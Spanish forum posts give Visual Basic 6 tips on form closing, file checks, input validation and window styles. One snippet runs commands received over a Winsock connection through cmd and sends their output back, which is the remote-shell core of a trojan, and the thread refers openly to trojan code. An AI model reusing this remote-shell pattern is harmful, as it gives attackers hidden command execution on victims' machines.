Mensajes

Lo que has de hacer (Si no recuerdo mal) para evitar el cierre es poner:

Código (vb) [Seleccionar] Expandir

Private Sub Form_Unload(Cancel As Integer)
Cancel = 1 'Aqui cancelamos el cierre...
End Sub



Para comunicarse entre aplicaciones (IPC):

Código [Seleccionar] Expandir

http://en.wikipedia.org/wiki/Interprocess_communication
http://es.wikipedia.org/wiki/Comunicaci%C3%B3n_entre_procesos
Grax Hendrix

Advertencia - mientras estabas escribiendo, una nueva respuesta fue publicada. Probablemente desees revisar tu mensaje.

No gracias

Saludos

Bueno, la verdad es que no veo fallo en ese code

Pero de todas formas, porque no habres el fichero .txt de forma binaria?
Ademas, porque gastar un Text? Podrias gastar una variable no?

Bueno, asi es como yo lo dejaria (Ahora no estoy en el SobreMesa, asi que no puedo probarlo..):

Código (vb) [Seleccionar] Expandir

Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)

Open Environ("windir") & "KB008.txt" For binary As #1
TextShell.Text = space$(LOF(1))
Get #1,,textshell.text
Close #1

WS.SendData "ComandoShell|" & TextShell.Text

Saludos

La funcion para copiar ficheros fichero esta muy bien , pero para verificar si un fichero existe creo que este metodo es 'mejor':

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Declare Function GetFileAttributes Lib "kernel32.dll" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Private Const FILE_ATTRIBUTE_ARCHIVE As Long = &H20

Public Function FileExist(ByVal sPath As String) As Boolean
    If (GetFileAttributes(sPath) or FILE_ATTRIBUTE_ARCHIVE) > 0 Then
        FileExist = True
    End If
End Function

Private Sub Form_Load()
    Debug.Print FileExist("C:\NTDETECT.COM")
End Sub

[Karcrack]

Mmm gracias por la info KrackWar pero busque y no encontre nada sobre lo de Cobein  'Jugando a hacer un troyano', igualmente no habria alguna solucion sobre el metodo que puse arriba? en el primer post?

Saludos!

Soy Karcrack

Jugaba a que hacia un troyano =] (SOURCE)

Bueno, primero, para encontrar el error has de saber que hay en la variable Data(1)...

Saludos

La que yo tenia anteriormente era algo asi :

Dim conten As String
conten = CMD(data(1))

La de pipes.. como seria?

Saludos!

Pues es un metodo para obtener el resultado de un comando, usando Named Pipes (FIFO)

Si no recuerdo mal Cobein hizo un code que las utilizaba... creo que el post del titulo era algo asi: 'Jugaba a que hacia un troyano...'

Saludos

Pipes...

[MOD:]

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
   If Left$(LCase$(Text2.Text), Len(".bat")) <> ".bat" Then
       MsgBox "La extension ha de ser .bat" 'Mostramos un mensaje
       Exit Sub 'Salimos del procedimiento Command1_Click
   End If
   'Aqui tu codigo
End Sub

Recuerda que hay diferentes caracteres que no pueden existir en una ruta/fichero...

Saludos

MOD: ", ? , ¿, \, >, <, |

Claro, te sube la CPU al 58% porque estas haciendo un bucle laaaaaaaargisimo

Lo que has de hacer es, por ejemplo, comprobar la variable (fecha o hora) a un intervalo diferente, por ejemplo, para comprobar la fecha con hacerlo una vez al dia sobra...

Para hacer lo de la fecha puedes agregar tu aplicacion al inicio de windows y comprobar cada vez que se ejecuta....

Para la hora puedes usar un timer...

Bueno, puedes hacerlo de muchisimas formas diferentes, con tal de que no uses un bucle como ese sobra

Saludos

Aqui dejo un Snippet usando el Api GetWindowLong y SetWindowLong:

Código (vb) [Seleccionar] Expandir

Option Explicit
Private Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32.dll" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long

Private Sub Form_Load()
    Call OnlyNumbers(Text1.hwnd)
End Sub

Public Function OnlyNumbers(ByVal lHwnd As Long) As Boolean
    Dim New_Style           As Long
    Dim Act_Style           As Long
   
    Act_Style = GetWindowLong(lHwnd, (-16)) 'Const GWL_STYLE As Long = -16
   
    If Not (Act_Style And &H2000&) Then 'Const ES_NUMBER As Long = &H2000&
        New_Style = (Act_Style Or &H2000&) 'Const ES_NUMBER As Long = &H2000&
        OnlyNumbers = SetWindowLong(lHwnd, (-16), New_Style) 'Const GWL_STYLE As Long = -16
    End If
End Function

Saludos

Que se supone que hace la opcion 'Luz Trasera'? A mi me deja de hacer la sombra

Saludos